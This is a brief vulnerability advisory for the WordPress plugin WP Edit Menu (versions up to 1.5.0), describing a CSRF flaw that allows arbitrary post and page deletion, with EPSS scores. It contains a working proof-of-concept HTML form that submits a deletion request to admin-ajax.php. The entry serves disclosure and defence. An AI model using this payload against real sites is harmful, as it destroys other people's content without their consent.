WP Edit Menu <= 1.5.0 - Arbitrary Post Deletion via CSRF

2022-08-0100:00:00

Johannes Gangsö

wordpress

edit menu

csrf

arbitrary post deletion

EPSS

0.001

Percentile

25.9%

JSON

The plugin does not have CSRF in an AJAX action, which could allow attackers to make a logged in admin delete arbitrary posts/pages from the blog via a CSRF attack

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php?action= filter_menu" method="POST">
      <input type="hidden" name="val[]" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

EPSS

0.001

Percentile

25.9%

JSON

Related for WPEX-ID:07757D1E-39AD-4199-BC7A-ECB821DFC996